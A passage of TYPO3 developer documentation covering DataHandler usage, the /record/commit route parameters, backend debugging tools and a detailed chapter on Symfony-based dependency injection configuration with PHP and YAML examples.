        $dataHandler->clear_cacheCmd('all');
    }
}
Copied!

Caches are organized in groups. Clearing "all" caches will actually clear caches from the "all" group and not really all caches. Check the caching framework architecture section for more details about available caches and groups.

Complex data submission

Imagine the $data array contains something like this:

$data = [
    'pages' => [
        'NEW_1' => [
            'pid' => 456,
            'title' => 'Title for page 1',
        ],
        'NEW_2' => [
            'pid' => 456,
            'title' => 'Title for page 2',
        ],
    ],
];
Copied!

This aims to create two new pages in the page with uid "456". In the following code this is submitted to the database. Notice the reversing of the order of the array: This is done because otherwise "page 1" is created first, then "page 2" in the same PID meaning that "page 2" will end up above "page 1" in the order. Reversing the array will create "page 2" first and then "page 1" so the "expected order" is preserved.

To insert a record after a given record, set the other record's negative uid as pid in the new record you're setting as data.

Apart from this a "signal" will be send that the page tree should be updated at the earliest occasion possible. Finally, the cache for all pages is cleared.

EXT:my_extension/Classes/DataHandling/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\DataHandling;

use TYPO3\CMS\Backend\Utility\BackendUtility;
use TYPO3\CMS\Core\DataHandling\DataHandler;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class MyClass
{
    public function submitComplexData(): void
    {
        $data = [
            'pages' => [
                'NEW_1' => [
                    'pid' => 456,
                    'title' => 'Title for page 1',
                ],
                'NEW_2' => [
                    'pid' => 456,
                    'title' => 'Title for page 2',
                ],
            ],
        ];

        /** @var DataHandler $dataHandler */
        // Do not inject or reuse the DataHander as it holds state!
        // Do not use `new` as GeneralUtility::makeInstance handles dependencies
        $dataHandler = GeneralUtility::makeInstance(DataHandler::class);

        $dataHandler->reverseOrder = true;
        $dataHandler->start($data, []);
        $dataHandler->process_datamap();
        BackendUtility::setUpdateSignal('updatePageTree');
        $dataHandler->clear_cacheCmd('pages');
    }
}
Copied!

Both data and commands executed with alternative user object

In this case it is shown how you can use the same object instance to submit both data and execute commands if you like. The order will depend on the order in the code.

First the start() method is called, but this time with the third possible argument which is an alternative $GLOBALS['BE_USER'] object. This allows you to force another backend user account to create stuff in the database. This may be useful in certain special cases. Normally you should not set this argument since you want DataHandler to use the global $GLOBALS['BE_USER'].

EXT:my_extension/Classes/DataHandling/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\DataHandling;

use TYPO3\CMS\Core\Authentication\BackendUserAuthentication;
use TYPO3\CMS\Core\DataHandling\DataHandler;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class MyClass
{
    public function useAlternativeUser(BackendUserAuthentication $alternativeBackendUser): void
    {
        // Prepare the data array
        $data = [
            // ... the data ...
        ];

        // Prepare the cmd array
        $cmd = [
            // ... the cmd structure ...
        ];

        /** @var DataHandler $dataHandler */
        // Do not inject or reuse the DataHander as it holds state!
        // Do not use `new` as GeneralUtility::makeInstance handles dependencies
        $dataHandler = GeneralUtility::makeInstance(DataHandler::class);

        $dataHandler->start($data, $cmd, $alternativeBackendUser);
        $dataHandler->process_datamap();
        $dataHandler->process_cmdmap();
    }
}
Copied!

Error handling

The data handler has a property errorLog as an array. In this property, the data handler collects all errors. You can use these, for example, for logging or other error handling.

EXT:my_extension/Classes/DataHandling/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\DataHandling;

use Psr\Log\LoggerInterface;
use TYPO3\CMS\Core\DataHandling\DataHandler;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class MyClass
{
    public function __construct(
        private readonly LoggerInterface $logger,
    ) {}

    public function handleError(): void
    {
        /** @var DataHandler $dataHandler */
        // Do not inject or reuse the DataHander as it holds state!
        // Do not use `new` as GeneralUtility::makeInstance handles dependencies
        $dataHandler = GeneralUtility::makeInstance(DataHandler::class);

        // ... previous call of DataHandler's process_datamap() or process_cmdmap()

        if ($dataHandler->errorLog !== []) {
            $this->logger->error('Error(s) while creating content element');
            foreach ($dataHandler->errorLog as $log) {
                // handle error, for example, in a log
                $this->logger->error($log);
            }
        }
    }
}
Copied!

The "/record/commit" route

This route is a gateway for posting form data to the \TYPO3\CMS\Backend\Controller\SimpleDataHandlerController .

You can send data to this file either as GET or POST vars where POST takes precedence. The variable names you can use are:

data

data
Data type
array

Data array on the form [tablename][uid][fieldname] = value.

Typically it comes from a POST form which submits a form field like <input name="data[tt_content][123][header]" value="This is the headline">.

cmd

cmd
Data type
array

Command array on the form [tablename][uid][command] = value. This array may get additional data set internally based on clipboard commands send in CB var!

Typically this comes from GET vars passed to the script like &cmd[tt_content][123][delete]=1 which will delete the content element with UID 123.

cacheCmd

cacheCmd
Data type
string

Cache command sent to DataHandler->clear_cacheCmd().

redirect

redirect
Data type
string

Redirect URL. The script will redirect to this location after performing operations (unless errors has occurred).

flags

flags
Data type
array

Accepts options to be set in DataHandler object. Currently, it supports "reverseOrder" (boolean).

mirror

mirror
Data type
array

Example: [mirror][table][11] = '22,33' will look for content in [data][table][11] and copy it to [data][table][22] and [data][table][33].

CB

CB
Data type
array

Clipboard command array. May trigger changes in "cmd".

vC

vC
Data type
string

Verification code.

Debugging

PHP

TYPO3 backend debug mode

To display additional debug information in the backend, set $GLOBALS['TYPO3_CONF_VARS']['BE']['debug'] in config/system/settings.php and log in with an administrator account.

It shows for example the names of fields and in case of select, radio and checkbox fields the values in addition, which are generated by the FormEngine. These can be used to set access permissions or configuration using Page TSconfig.

If EXT:lowlevel is installed, the name of the database table or field is appended to the select options in the System > DB Check > Full Search module.

Additionally, in debug mode, the page renderer does not compress or concatenate JavaScript or CSS resources.

DebugUtility::debug()

The TYPO3 Core provides a simple debug() (defined in EXT:core/Classes/Core/GlobalDebugFunctions.php). It wraps around \TYPO3\CMS\Core\Utility\DebugUtility::debug() and will output debug information only if it matches a set of IP addresses (defined in $GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask']).

For example, the following code:

Extension examples, file Classes/Controller/ModuleController.php
use TYPO3\CMS\Core\Utility\DebugUtility;

class ModuleController extends ActionController implements LoggerAwareInterface
{
    protected function debugCookies() {
        DebugUtility::debug($_COOKIE, 'cookie');
    }
}
Copied!

will produce such an output:

Typical TYPO3 debug output

In general, look at class \TYPO3\CMS\Core\Utility\DebugUtility for useful debugging tools.

Extbase DebuggerUtility

Extbase's DebuggerUtility::var_dump() is a debugging function in TYPO3 that outputs detailed, human-readable information about variables, including their type and structure. It offers features like depth control and optional backtrace information to assist developers in effectively debugging complex data structures.

Example:

\TYPO3\CMS\Extbase\Utility\DebuggerUtility::var_dump($myVariable);

You can also use the Extbase DebuggerUtility to debug SQL Querys for example. To do so, put the following code snippet before the execute function of your SQL query:

\TYPO3\CMS\Extbase\Utility\DebuggerUtility::var_dump($queryBuilder->getSQL());

Fluid Debug ViewHelper

The Fluid Debug ViewHelper is a part of the Fluid template engine and generates a HTML dump of the tagged variable. The ViewHelper can be used in any Fluid template to output the value of variables or objects in a human-readable format.

Example:

<f:debug>{myVariable}</f:debug>

To display all available variables in your Fluid template, you can use the _all placeholder:

<f:debug>{_all}</f:debug>

Get more information in the Fluid ViewHelper Reference Debug ViewHelper <f:debug>

Xdebug

First of all: best practice to debug PHP code is using an IDE (like PhpStorm or Visual Studio Code) with Xdebug. Advantages are:

  • You can investigate the values of variables and class properties when setting a breakpoint.
  • You can move forward line by line and see how the variables and properties change.
  • You can also step into calling methods and functions.
  • You see the calling code as a stack trace.

Dependency injection

Abstract

This chapter explains "Dependency Injection (DI)" as used in TYPO3. Readers interested in the general concepts and principles may want to look at, for example, Dependency Injection in "PHP The Right Way" and What is dependency injection? by Fabien Potencier. Whenever a service has a service dependency to another class, the technique of dependency injection should be used to satisfy that need. TYPO3 uses a Symfony component for dependency injection. The component is PSR-11 compliant, and is used throughout core and extensions to standardize the process of obtaining service dependencies.

By default all API services shipped with the TYPO3 Core system extensions offer dependency injection. The recommended usage is constructor injection. Available as well are method injection and interface injection. To activate the Symfony component for dependency injection a few lines of configuration are necessary.

Introduction

The title of this chapter is "dependency injection" (DI), but the scope is a bit broader: In general, this chapter is about TYPO3 object lifecycle management and how to obtain services, with one sub-part of it being dependency injection.

The underlying interfaces are based on the PHP-FIG (PHP Framework Interop Group) standard PSR-11 Container interface, and the implementation is based on Symfony service container and Symfony dependency injection components, plus some TYPO3 specific sugar.

Background and history

Obtaining object instances in TYPO3 has always been straightforward: Call GeneralUtility::makeInstance(\MyVendor\MyExtension\Some\Class::class) and hand over mandatory and optional __construct() arguments as additional arguments.

There are two quirks to that:

  • First, a class instantiated through GeneralUtility::makeInstance() can implement SingletonInterface. This empty interface definition tells makeInstance() to instantiate the object exactly once for this request, and if another makeInstance() call asks for it, the same object instance is returned - otherwise makeInstance() always creates a new object instance and returns it. Implementing SingletonInterface is nowadays considered old-fashioned, its usage should be reduced over time.
  • Second, GeneralUtility::makeInstance() allows "XCLASSing". This is a - rather dirty - way to substitute a class with a custom implementation. XCLASS'ing in general is brittle and seen as a last resort hack if no better solution is available. In connection with Symfony containers, XCLASSing services should be avoided in general and service overrides should be used instead. Replacing the XCLASS functionality in TYPO3 is still work in progress. In contrast, XCLASSing is still useful for data objects, and there is no good other solution yet.

Using makeInstance() worked very well for a long time. It however lacked a feature that has been added to the PHP world after makeInstance() had been invented: Dependency injection. There are lots of articles about dependency injection on the net, so we won't go too deep here but rather explain the main idea: The general issue appears when classes follow the separation of concerns principle.

One of the standard examples is logging. Let's say a class's responsibility is the creation of users - it checks everything and finally writes a row to database. Now, since this is an important operation, the class wants to log an information like "I just created a user". And this is where dependency injection enters the game: Logging is a huge topic, there are various error levels, information can be written to various destinations and so on. The little class does not want to deal with all those details, it just wants to tell the framework: "Please give me some logger I can use and that takes care of all details, I don't want to know about them". This separation is the heart of single responsibility and separation of concerns.

Dependency injection does two things for us here: First, it allows separating concerns, and second, it hands the task of finding an appropriate implementation of a dependency over to the framework, so the framework decides - based on configuration - which specific instance is given to the consumer. Note in our example, the logging instance itself may have dependencies again - the process of object creation and preparation may be nested.

In more abstract software engineering terms: Dependency injection is a pattern used to delegate the task of resolving class dependencies away from a consumer towards the underlying framework.

Back to history: After makeInstance() has been around for quite a while and lacked an implementation of dependency injection, Extbase appeared in 2009. Extbase brought a first container and dependency injection solution, it's main interface being the Extbase ObjectManager. The Extbase object manager has been widely used for a long time, but suffered from some issues younger approaches don't face. One of the main drawbacks of Extbase object manager is the fact that it's based on runtime reflection: Whenever an object is to be instantiated, the object manager scans the class for needed injections and prepares dependencies to be injected. This process is quite slow though mitigated by various caches. And these also come with costs. In the end, these issues have been the main reason the object manager was never established as a main core concept but only lived in Extbase scope.

The object lifecycle and dependency injection solution based on Symfony DI has been added in TYPO3v10 and is a general core concept: Next to the native dependency injection, it is also wired into makeInstance() as a long living backwards compatibility solution, and it fully substitutes the Extbase object manager. In contrast to the Extbase solution, Symfony based object management does not have the overhead of expensive runtime calculations. Instead it is an instance wide build-time solution: When TYPO3 bootstraps, all object creation details of all classes are read from a single cache file just once, and afterwards no expensive calculation is required for actual creation.

Symfony based DI was implemented in TYPO3 v10 and usage of the Extbase ObjectManager was discouraged.

The Extbase ObjectManager has been removed with TYPO3 v12. Making use of Symfony DI integration continues. There are still various places in the core to be improved. Further streamlining is done over time. For instance, the final fate of makeInstance() and the SingletonInterface has not fully been decided on. Various tasks remain to be solved in younger TYPO3 development to further improve the object lifecycle management provided by the core.

Build-time caches

To get a basic understanding of the core's lifecycle management it is helpful to get a rough insight on the main construct. As already mentioned, object lifecycle management is conceptualized as steps to take place at build-time. It is done very early and only once during the TYPO3 bootstrap process. All calculated information is written to a special cache that can not be reconfigured and is available early. On subsequent requests the cache file is loaded. Extensions can not mess with the construct if they adhere to the core API.

Besides being created early, the state of the container is independent and exactly the same in frontend, backend and CLI scope. The same container instance may even be used for multiple requests. This is becoming more and more important nowadays with the core being able to execute sub requests. The only exception to this is the Install Tool: It uses a more basic container that "cannot fail". This difference is not important for extension developers however since they can't hook into the Install Tool at those places.

The Symfony container implementation is usually configured to actively scan the extension classes for needed injections. All it takes are just a couple of lines within the Services.yaml file. This should be done within all extensions that contain PHP classes and it is the fundamental setup we will outline in the following sections.

For developers, it is important to understand that dealing with Symfony DI is an early core bootstrap and cached thing. The system will fail upon misconfiguration, leading to unreachable frontend and backend.

With the container cache entry being a low level early bootstrap thing that is expensive to calculate when it has to be rebuild, there is a limited list of options to flush this cache:

  • The container cache entry is not deleted when a backend user clicks "Flush all caches" in the backend top toolbar if the instance is configured as production application. For developer convenience, the container cache is flushed in development context, though.
  • The container cache is flushed using "Admin tools" -> "Maintenance" -> "Flush Caches" of the Install Tool.
  • The container cache is flushed using the CLI command vendor/bin/typo3 cache:flush. Using vendor/bin/typo3 cache:warmup afterwards will rebuild and cache the container.
  • The container cache is automatically flushed when using the Extension Manager to load or unload extensions in (non-Composer) classic mode.
  • Another way to quickly drop this cache during development is to remove all var/cache/code/di/* files, which reside in typo3temp/ in classic mode instances or elsewhere in composer mode instances (see Environment).

The main takeaway is: When a developer fiddles with container configuration, the cache needs to be manually cleared. And if some configuration issue slipped in, which made the container or DI calculation fail, the system does not heal itself and needs both a fix of the Dependency injection configuration plus probably a cache removal. The standalone Install Tool however should always work, even if the backend breaks down, so the "Flush caches" button is always reachable. Note that if the container calculation fails, the var/log/typo3_* files contain the exception with backtrace!

Important terms

We will continue to use a couple of technical terms in this chapter, so let's quickly define them to align. Some of them are not precisely used in our world, for instance some Java devs may stumble upon "our" understanding of a prototype.

Prototype
The broad understanding of a prototype within the TYPO3 community is that it's simply an object that is created anew every time. Basically the direct opposite of a singleton. In fact, the prototype pattern describes a base object that is created once, so __construct() is called to set it up, after that it is cloned each time one wants to have a new instance of it. The community isn't well aware of that, and the core provides no "correct" prototype API, so the word prototype is often misused for an object that is always created anew when the framework is asked to create one.
Singleton
A singleton is an object that is instantiated exactly once within one request, with the same instance being re-used when a class instance is requested. Symfony understands such class instances as being "shared". TYPO3 can also declare a class as "shared" using the SingletonInterface , but this is considered old-fashioned. Services are usually declared shared by default. This implies such classes should be stateless and there is trouble ahead when they are not.
Service
We use the understanding "What is a service?" from Symfony: In Symfony, everything that is instantiated through the service container is a service. These are many things - for instance controllers are services, as well as - non static - utilities, repositories and classes like mailers and similar. To emphasize: Not only classes named with a *Service suffix are services but basically anything as long as it is not a data object. A class should represent either-or: A class is either a service that manipulates or does something with given data and does not hold it, or is a class that holds data. Sadly, this distinction is not always the case within TYPO3 core (yet), and there are many classes that blend service functionality and data characteristics.
Data object
Data objects are the opposite of services. They are not available through service containers. Calling $container->has() returns false and they can not be injected. They should be instantiated using new(). Domain models and DTOs are a typical example of data objects. Data objects are not "service container aware" and do not support DI. Although the TYPO3 core does not strictly follow this rule in all cases until now, the ambition is to get this done over time.

Using DI

The general idea is: Whenever your service class has a service dependency to another class, dependency injection should be used.

In some TYPO3 APIs dependency injection cannot be used yet. This applies to classes that need specific data in their constructors or classes that are serialized and deserialized as, for example, scheduler tasks. The TYPO3 core tries to refactor these cases over time. Such classes need to fall back to old-school GeneralUtility::makeInstance()

There are two ways proclaimed and natively supported by TYPO3 to obtain service dependencies: Constructor injection using __construct() and method injection using inject*() methods. Constructor injection is the way to go as long as a class is not dealing with complex abstract inheritance chains. The symfony service container can inject specific classes as well as instances of interfaces.

Constructor injection

Lets say we're writing a controller that renders a list of users. Those users are found using a UserRepository service, making the user repository service a direct dependency of the controller service. A typical constructor dependency injection to resolve the dependency by the framework looks like this:

EXT:my_extension/Controller/UserController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use MyVendor\MyExtension\Repository\UserRepository;

final class UserController
{
    public function __construct(
        private readonly UserRepository $userRepository,
    ) {}
}
Copied!

The symfony container setup process will now see UserRepository as a dependency of UserController when scanning its __construct() method. Since autowiring is enabled by default (more on that below), an instance of the UserRepository is created and provided to __construct() when the controller is created. The instance is set as a class property using constructor property promotion and the property is declared readonly.

Method injection

A second way to get services injected is by using inject*() methods:

EXT:my_extension/Controller/UserController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use MyVendor\MyExtension\Repository\UserRepository;

final class UserController
{
    private ?UserRepository $userRepository = null;

    public function injectUserRepository(UserRepository $userRepository)
    {
        $this->userRepository = $userRepository;
    }
}
Copied!

This ends up with basically the same result as above: The controller instance retrieves an object of type UserRepository in class property $userRepository. The service container calls such inject*() methods directly after class instantiation, so after __construct() has been executed, and before anything else. The injection via methods was introduced by Extbase. TYPO3 core implemented it in addition to the default Symfony constructor injection. Why did we do that, you may ask? Both strategies have subtle differences: First, when using inject*() methods, the type hinted class property needs to be nullable, otherwise PHP >= 7.4 throws a warning since the instance is not set during __construct(). But that's just an implementation detail. More important is an abstraction scenario. Consider this case:

EXT:my_extension/Controller/UserController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use MyVendor\MyExtension\Logger\Logger;
use MyVendor\MyExtension\Repository\UserRepository;

abstract class AbstractController
{
    protected ?Logger $logger = null;

    public function injectLogger(Logger $logger)
    {
        $this->logger = $logger;
    }
}

final class UserController extends AbstractController
{
    public function __construct(
        private readonly UserRepository $userRepository,
    ) {}
}
Copied!

We have an abstract controller service with a dependency plus a controller service that extends the abstract and has further dependencies.

Now assume the abstract class is provided by TYPO3 core and the consuming class is provided by an extension. If the abstract class would use constructor injection, the consuming class would need to know the dependencies of the abstract, add its own dependencies to the constructor, and then call parent::__construct($logger) to satisfy the abstracts dependency. This would hardcode all dependencies of the abstract into extending classes. If later the abstract is changed and another dependency is added to the constructor, this would break consuming classes.

Differently put: When core classes "pollute" __construct() with dependencies, the core can not add dependencies without being breaking. This is the reason why for example the extbase AbstractController uses inject*() methods for its dependencies: Extending classes can then use constructor injection, do not need to call parent::__construct(), and the core is free to change dependencies of the abstract.

In general, when the core provides abstract classes that are expected to be extended by extensions, the abstract class should use inject*() methods instead of constructor injection. Extensions of course can follow this idea in similar scenarios.

This construct has some further implications: Abstract classes should think about making their dependency properties private, so extending classes can not rely on them. Furthermore, classes that should not be extended by extensions are free to use constructor injection and should be marked final, making sure they can't be extended to allow internal changes.

Interface injection

EXT:my_extension/Controller/UserController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use MyVendor\MyExtension\Logger\LoggerInterface;

final class UserController extends AbstractController
{
    public function __construct(
        private readonly LoggerInterface $logger,
    ) {}
}
Copied!

Notice the difference? The code requests the injection of an interface and not a class! This is permissible with both constructor and method injection. It compels the service container to determine which specific class is configured as the implementation of the interface and inject an instance of that class. A class can declare itself as the default implementation of such an interface. This is the essence of dependency injection: a consuming class no longer relies on a specific implementation but on an interface's signature.

The framework ensures that something fulfilling the interface is injected. The consuming class remains unaware of the specific implementation, focusing solely on the interface methods. An instance administrator can configure the framework to inject a different implementation, either globally or for specific classes. The consumer remains unconcerned, interacting only with the interface methods.

The example below has a couple of controller classes as service consumers. There is a service interface with a default implementation. The default implementation uses the symfony PHP attribute AsAlias to register itself as default. A Services.yaml file configures different service implementation for some service consumers:

EXT:my_extension/Controller/MyFirstController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use MyVendor\MyExtension\Service\MyServiceInterface;

class MyFirstController
{
    public function __construct(
        private readonly MyServiceInterface $myService,
    ) {}
}
Copied!
EXT:my_extension/Controller/MySecondController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use MyVendor\MyExtension\Service\MyServiceInterface;

class MySecondController
{
    public function __construct(
        private readonly MyServiceInterface $myService,
    ) {}
}
Copied!
EXT:my_extension/Controller/MyThirdController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use MyVendor\MyExtension\Service\MyServiceInterface;

class MyThirdController
{
    private MyServiceInterface $myService;

    public function injectMyService(MyServiceInterface $myService): void
    {
        $this->myService = $myService;
    }
}
Copied!
EXT:my_extension/Service/MyServiceInterface.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Service;

interface MyServiceInterface
{
    public function foo();
}
Copied!
EXT:my_extension/Service/MyDefaultServiceImplementation.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Service;

use Symfony\Component\DependencyInjection\Attribute\AsAlias;

#[AsAlias(MyServiceInterface::class)]
class MyDefaultServiceImplementation implements MyServiceInterface
{
    public function foo()
    {
        // do something
    }
}
Copied!
EXT:my_extension/Service/MyOtherServiceImplementation.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Service;

class MyOtherServiceImplementation implements MyServiceInterface
{
    public function foo()
    {
        // do something
    }
}
Copied!
EXT:my_extension/Configuration/Services.yaml
services:
  _defaults:
    autowire: true
    autoconfigure: true
    public: false

  # Within MySecondController and MyThirdController different implementations
  # than the default MyDefaultServiceImplementation of MyServiceInterface
  # shall be injected.

  # When working with constructor injection
  MyVendor\MyExtension\Controller\MySecondController:
    arguments:
      $service: '@MyVendor\MyExtension\Service\MyOtherServiceImplementation'

  # When working with method injection
  MyVendor\MyExtension\Controller\MyThirdController:
    calls:
      - method: 'injectMyService'
        arguments:
          $service: '@MyVendor\MyExtension\Service\MyOtherServiceImplementation'
Copied!

Configuration

Services.yaml declaring service defaults

Extensions have to configure their classes to make use of dependency injection. This can be done in Configuration/Services.yaml. Alternatively, Configuration/Services.php can also be used, if PHP syntax is required to apply conditional logic to definitions. A basic Services.yaml file of an extension looks like the following.

EXT:my_extension/Configuration/Services.yaml
services:
  _defaults:
    autowire: true
    autoconfigure: true
    public: false

  MyVendor\MyExtension\:
    resource: '../Classes/*'
    exclude: '../Classes/Domain/Model/*'
Copied!
autowire

autowire: true instructs the dependency injection component to calculate the required dependencies from type declarations. The calculation generates service initialization code.

An extension is not required to use autowiring. It can manually wire dependencies. However, opting out of autowiring is less convenient and is not further documented in this guide.

autoconfigure

This directive instructs the dependency injection component to automatically add Symfony service tags based on implemented interfaces and base classes. For instance, autoconfiguration ensures that classes implementing SingletonInterface are publicly available from the Symfony container and marked as shared ( shared: true).

TYPO3 dependency injection relies on this this for various default configurations. It is recommended to set autoconfigure: true.

public
public: false is a performance optimization and should therefore be set in extensions. This settings controls which services are available through the dependency injection container used internally by GeneralUtility::makeInstance(). See "What to make public?" for more information.
Model exclusion
The path exclusion exclude: '../Classes/Domain/Model/*' excludes your models from the dependency injection container: You cannot inject them nor inject dependencies into them. Models are not services but data objects and therefore should not require dependency injection. Also, these objects are usually created by the Extbase persistence layer, which does not support the DI container.

Autoconfiguration using attributes and Services.yaml

Single service classes may need to change auto configuration to be different than above declared defaults. This can be done using PHP attributes. The most common use case is public: true:

EXT:my_extension/Services/MyServiceUsingAutoconfigurePublicTrue.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Service;

use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;

/**
 * This service is instantiated using GeneralUtility::makeInstance()
 * in some cases, which requires 'public' being set to 'true'.
 */
#[Autoconfigure(public: true)]
readonly class MyServiceUsingAutoconfigurePublicTrue
{
    public function __construct(
        private SomeDependency $someDependency,
    ) {}
}
Copied!

The above usage of the Autoconfigure attribute declares this service as public: true which overrides a public: false default from a Services.yaml file for this specific class.

Similar with shared: false:

EXT:my_extension/Services/MyServiceUsingAutoconfigureSharedFalse.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Service;

use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;

/**
 * This service is stateful and configures the service container to
 * inject new instances to consuming services when they are instantiated.
 */
#[Autoconfigure(shared: false)]
class MyServiceUsingAutoconfigureSharedFalse
{
    private string $foo = 'foo';

    public function __construct(
        private readonly SomeDependency $someDependency,
    ) {}

    public function setFoo(): void
    {
        $this->foo = 'bar';
    }
}
Copied!

It is possible to set both using #[Autoconfigure(public: true, shared: false)].

The Autoconfigure attribute is beneficial when an extension includes a service class that is either stateful or instantiated using GeneralUtility::makeInstance(). This attribute embeds the configuration directly within the class file, eliminating the need for additional entries in Services.yaml - the configuration is "in place".

To reconfigure "foreign" services - those not provided by the extension itself but by another extension (such as a service class from ext:core) - the Services.yaml file can be utilized. A common scenario is when a core service is not declared public because all core extensions retrieve instances via constructor or method injection, rather than GeneralUtility::makeInstance(). If an extension must use GeneralUtility::makeInstance() for a specific reason, it can declare the "foreign" service as "public" in Services.yaml:

EXT:my_extension/Configuration/Services.yaml
services:
  _defaults:
    autowire: true
    autoconfigure: true
    public: false

  MyVendor\MyExtension\:
    resource: '../Classes/*'

  # Declare a "foreign" service "public: true" since this extension needs
  # to instantiate the service using GeneralUtility::makeInstance() and
  # the service is configured "public: false" by the extension delivering
  # that service.
  TYPO3\CMS\Core\Some\Service:
    public: true
Copied!

Autowiring using attributes

Autowiring, particularly the Autowire PHP attribute, is a powerful tool for making dependency injection more convenient and transparent. TYPO3 core includes default configurations that facilitate its use. Let’s explore some examples.

Consider a service performing an expensive operation that caches the result within the TYPO3 runtime cache to avoid repeating the operation within the same request. The runtime cache, being a dependent service, should be injected. A naive approach is to inject the core CacheManager and retrieve the runtime cache instance:

EXT:my_extension/Services/MyServiceUsingCacheManager.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Service;

use TYPO3\CMS\Core\Cache\CacheManager;
use TYPO3\CMS\Core\Cache\Frontend\FrontendInterface;

class MyServiceUsingCacheManager
{
    private FrontendInterface $runtimeCache;

    public function __construct(
        CacheManager $cacheManager,
    ) {
        $this->runtimeCache = $cacheManager->getCache('runtime');
    }

    public function calculateSomethingExpensive()
    {
        // do something using runtime cache
    }
}
Copied!

This can be simplified, resulting in more streamlined code:

EXT:my_extension/Services/MyServiceGettingRuntimeCacheInjected.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Service;

use Symfony\Component\DependencyInjection\Attribute\Autowire;
use TYPO3\CMS\Core\Cache\Frontend\FrontendInterface;

class MyServiceGettingRuntimeCacheInjected
{
    public function __construct(
        #[Autowire(service: 'cache.runtime')]
        private readonly FrontendInterface $runtimeCache,
    ) {}

    public function calculateSomethingExpensive()
    {
        // do something using runtime cache
    }
}
Copied!

The "cache.runtime" service alias, configured by the TYPO3 core extension, performs the CacheManager->getCache() operation behind the scenes. Utilizing such shortcuts simplifies the consumers.

The autowire attribute also enables the execution of expressions and injection of the results, which is useful for "compile-time" state that remains constant during requests. For example, to inject a feature toggle status:

EXT:my_extension/Services/MyServiceGettingFeatureToggleResultInjected.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Service;

use Symfony\Component\DependencyInjection\Attribute\Autowire;

class MyServiceGettingFeatureToggleResultInjected
{
    public function __construct(
        #[Autowire(expression: 'service("features").isFeatureEnabled("myExtension.foo")')]
        private readonly bool $fooEnabled,
    ) {}
}
Copied!

Another example, including alias definition, is new in TYPO3 v13. It enables injecting values from ext_conf_templates.txt files using the ExtensionConfiguration API.

EXT:core/Configuration/ExtensionConfiguration.php
<?php

declare(strict_types=1);

namespace TYPO3\CMS\Core\Configuration;

use Symfony\Component\DependencyInjection\Attribute\AsAlias;

#[AsAlias('extension-configuration', public: true)]
class ExtensionConfiguration
{
    public function get(string $extension, string $path = ''): mixed
    {
        // implementation
    }
}
Copied!
EXT:my_extension/Services/MyServiceGettingExtensionConfigurationValueInjected.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Service;

use Symfony\Component\DependencyInjection\Attribute\Autowire;

class MyServiceGettingExtensionConfigurationValueInjected
{
    public function __construct(
        #[Autowire(expression: 'service("extension-configuration").get("my_extension", "something.isEnabled")')]
        private readonly bool $somethingIsEnabled,
    ) {}
}
Copied!

This example demonstrates the combination of a service class with an alias and a consumer utilizing this alias in an Autowire attribute.

The TYPO3 core provides a couple such service aliases, with the above ones being the most important ones for extension developers. TYPO3 core does not arbitrarily add aliases.

Installation-wide configuration

A global service configuration for a project can be set up to be utilized across multiple project-specific extensions. This allows, for example, the aliasing of an interface with a concrete implementation that can be used in several extensions. Additionally, project-specific CLI commands can be registered without the need for a project-specific extension.

However, this is only possible - due to security restrictions - if TYPO3 is configured such that the project root is outside the document root, which is typically the case in Composer-based installations.

In Composer-based installations, the global service configuration files services.yaml and services.php are located within the config/system/ directory of a TYPO3 project.

Consider the following scenario: You want to use the PSR-20 clock interface as a type hint for dependency injection in the service classes of your project's various extensions. This setup allows the concrete implementation to change without altering your code. In this example, we use lcobucci/clock as the concrete implementation.

The global files services.yaml and services.php are read before files from extensions. The global files can provide defaults but can not override service definitions from service configuration files loaded afterwards.

config/system/services.yaml
services:

  Psr\Clock\ClockInterface:
    factory: ['Lcobucci\Clock\SystemClock', 'fromUTC']
Copied!

The concrete clock implementation is now injected when a type hint to the interface is given:

EXT:my_extension/Classes/MyServiceUsingClockInterface.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use Psr\Clock\ClockInterface;

final class MyServiceUsingClockInterface
{
    public function __construct(
        private readonly ClockInterface $clock,
    ) {}

    // ...
}
Copied!

FAQ

What to make public?

The basic difference between public and private is well explained in the symfony documentation:

When defining a service, it can be made to be public or private. If a service is public, it means that you can access it directly from the container at runtime. For example, the doctrine service is a public service:

// only public services can be accessed in this way
$doctrine = $container->get('doctrine');
Copied!

But typically, services are accessed using dependency injection. And in this case, those services do not need to be public.

So unless you specifically need to access a service directly from the container via $container->get(), the best-practice is to make your services private.

The implementation of GeneralUtility::makeInstance() utilizes $container->get(). As a result, services instantiated using makeInstance() must be declared public if they have dependencies that need to be injected.

Services without dependencies can be instantiated using makeInstance() without the service made public, as they are instantiated using new without constructor arguments.

Some services are automatically declared public by basic TYPO3 dependency injection configuration since they are instantiated using makeInstance() by the core framework. The most common ones are:

  • Extbase controllers implementing ControllerInterface , usually by inheriting ActionController . They are additionally declared shared: false.
  • Backend controllers with AsController class attribute. They are additionally declared shared: false:

    use TYPO3\CMS\Backend\Attribute\AsController;
    
    #[AsController]
    final readonly class MyBackendController
    {
        // implementation
    }
    Copied!
